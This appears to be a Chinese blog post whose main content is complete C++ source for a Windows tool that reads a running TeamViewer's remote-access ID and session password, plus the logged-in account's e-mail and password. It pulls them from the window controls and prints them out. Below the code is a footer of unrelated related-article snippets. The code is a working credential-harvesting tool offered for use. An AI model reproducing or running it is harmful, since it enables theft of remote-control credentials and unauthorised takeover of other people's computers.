获取运行中的TeamViewer的账号和密码--中文版

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#include <string.h>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" ) 

int status = 0; 

BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); 

        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        } 

        if (strstr(BufferContent, "允许远程控制") != NULL)
        {
                status = 1;
                printf("TeamViewer ID: ");
        } 

        if (strstr(BufferContent, "告诉你的伙伴") != NULL)
        {
                status = 1;
                printf("TeamViewer PASS: ");
        } 

        return 1;
} 

BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); 

        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        } 

        if (strstr(BufferContent, "电子邮件") != NULL)
        {
                status = 1;
                printf("E-mail: ");
        } 

        if (strstr(BufferContent, "密码") != NULL)
        {
                status = 1;
                printf("Password: ");
        } 

        return 1;
} 

int main()
{
        HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer"); 

        if (hwndTeamViewer)
        {
                EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
        } 

        HWND hwndAccount = FindWindow(NULL, "计算机和联系人"); 

        if (hwndAccount)
        {
                EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
        } 

        return 0;
}
时间: 2024-09-30 10:36:07

获取运行中的TeamViewer的账号和密码--中文版的相关文章

用angular自带的方法获取input中内容(以用户名和密码为例)的字符串长度方法

<input id= "username" type= "text" placeholder="username">;<inpur id= "password" type= "password" placeholder= "password"> var usernameLength = angular.element('#username').val().leng

Java基础知识强化之IO流笔记47:IO流练习之 随机获取文本文件中的姓名案例

1.  随机获取文本文件中的姓名案例     需求:我有一个文本文件中存储了几个名称,请大家写一个程序实现随机获取一个人的名字.     分析:           A:  把文本文件中的数据存储到集合中           B:  随机产生一个索引           C:  根据该索引获取一个值 2. 代码实现: 1 package cn.itcast_02; 2 3 import java.io.BufferedReader; 4 import java.io.FileReader; 5

Javascript 笔记与总结(2-9)获取运行时的 style 对象

获取内存中(正在渲染)的 style 的值(非内联 style,obj.style 只能获得内联 style 的值),可以用 obj.currentStyle(低版本 IE 和 Opera 支持)和 window.getComputedStyle(IE9 以及 标准浏览器支持)来获取. window.getComputedStyle 的格式是 window.getComputedStyle(obj,伪元素) 第一个参数是要要获取计算后的样式的目标元素 第二个参数是期望的伪元素,如"after&q

linux关于readlink函数获取运行路径的小程序

摘自:http://blog.csdn.net/djzhao/article/details/8178375 linux关于readlink函数获取运行路径的小程序 相关函数: stat, lstat, symlink表头文件: #include <unistd.h>定义函数:int  readlink(const  char *path,  char *buf, size_t  bufsiz);函数说明:readlink()会将参数path的符号连接内容到参数buf所指的内存空间,返回的内容

C++入门经典-例6.9-通过指针变量获取数组中的元素

1:通过指针引用数组,需要先声明一个数组,再声明一个指针. int a[10]; int *p; 然后通过&运算符获取数组中元素的地址,再将地址值赋给指针变量. p=&a[0]; 代码实例如下: // 6.9.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <iostream> using namespace std; void main() { int i,a[10]; int *p; //利用循环

通过YAJL获取json中的值

这里主要是举例说明一下如果通过yajl获取json中的值. 对于array和object来说,获取的方式略有不同,具体可以参考下面的代码. 我只是从网上搜集信息,知道有这么一种方法,如果还有别的方法,请各位高手指点一下 首先,先贴出需要解析的json语句 [ "source", "abc", {"key1":"value1"} ] 然后就是关键所在了,这段代码主要是针对上面的json语句来写的,并非对所有json语句都适用.

从外部重置一个运行中consumer group的消费进度

对于0.10.1以上版本的kafka, 如何从外部重置一个运行中的consumer group的进度呢?比如有一个控制台,可以主动重置任意消费组的消费进度重置到12小时之前. 需要这么几个步骤: 1. 加入这个group 2. 踢掉所有其它group memeber 3. try assign all TopicPartition to this client 4. commit offsets 5. leave group 其中第二步是为了让自己当上leader,当然有可能不需要踢掉其它所有成

[Oracle] 获取运行计划的各方法总结

总的结论: 一.获取运行计划的6种方法(具体步骤已经在每一个样例的开头凝视部分说明了): 1. explain plan for获取: 2. set autotrace on . 3. statistics_level=all; 4. 通过dbms_xplan.display_cursor输入sql_id參数直接获取 5. 10046 trace跟踪 6. awrsqrpt.sql 二.适用场合分析 1.假设某SQL运行很长时间才会出结果.甚至慢到返回不了结果,这时候看运行计划就仅仅能用方法1,

android 获取设备中已启动的服务并判断某一服务是否启动

我们常常在开发的时候,通过获取系统已启动的服务来判断该服务器是否还需要再启动. 而本文将介绍android设备中已启动的服务,并判断某一服务是启动 1.根据ACTIVITY_SERVICE获取系统服务 activityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE); 2.获取系统中正在运行的服务 runningList = activityManager.getRunningServices(30);//代表我们希望返